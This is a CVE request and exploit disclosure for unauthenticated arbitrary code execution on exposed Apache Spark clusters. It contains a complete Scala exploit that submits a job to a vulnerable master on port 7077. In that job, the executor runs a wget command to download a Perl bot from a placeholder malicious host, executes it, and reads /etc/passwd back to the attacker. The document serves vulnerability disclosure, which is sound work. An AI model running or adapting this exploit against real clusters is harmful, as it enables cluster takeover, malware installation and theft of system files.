CVE Request: Arbitary Code Execution in Apache Spark Cluster

[Akhil Das <akhil () sigmoidanalytics com>]

# *Vendor Homepage*: https://spark.apache.org/
# *Software Link*: https://spark.apache.org/downloads.html
# *Version*: All (0.0.x, 1.1.x, 1.2.x, 1.3.x)
# *Tested on*: 1.2.1

# Reference(s) :
http://codebreach.in/blog/2015/03/arbitary-code-execution-in-unsecured-apache-spark-cluster/
# Exploit URL  : https://github.com/akhld/spark-exploit/

# Spark clusters which are not secured with proper firewall can be taken
over easily (Since it does not have
# any authentication mechanism), this exploit simply runs arbitarty codes
over the cluster.
# All you have to do is, find a vulnerable Spark cluster (usually runs on
port 7077) add that host to your
# hosts list so that your system will recognize it (here its
spark-b-akhil-master pointing
# to 54.155.61.87 in my /etc/hosts) and submit your Spark Job with arbitary
codes that you want to execute.

# Language: Scala


import org.apache.spark.{SparkContext, SparkConf}

/**
 * Created by akhld on 23/3/15.
 */

object Exploit {
  def main(arg: Array[String]) {
    val sconf = new SparkConf()
      .setMaster("spark://spark-b-akhil-master:7077") // Set this to the
vulnerable host URI
      .setAppName("Exploit")
      .set("spark.cores.max", "2")
      .set("spark.executor.memory", "2g")
      .set("spark.driver.host","hacked.work") // Set this to your host from
where you launch the attack

    val sc = new SparkContext(sconf)
      sc.addJar("target/scala-2.10/spark-exploit_2.10-1.0.jar")

    val exploit = sc.parallelize(1 to 1).map(x=>{
       //Replace these with whatever you want to get executed
       val x = "wget https://mallicioushost/mal.pl -O bot.pl".!
       val y = "perl bot.pl".!
       scala.io.Source.fromFile("/etc/passwd").mkString
    })
    exploit.collect().foreach(println)
  }
}




Please see this blog post if you need anymore information on this
http://codebreach.in/blog/2015/03/arbitary-code-execution-in-unsecured-apache-spark-cluster/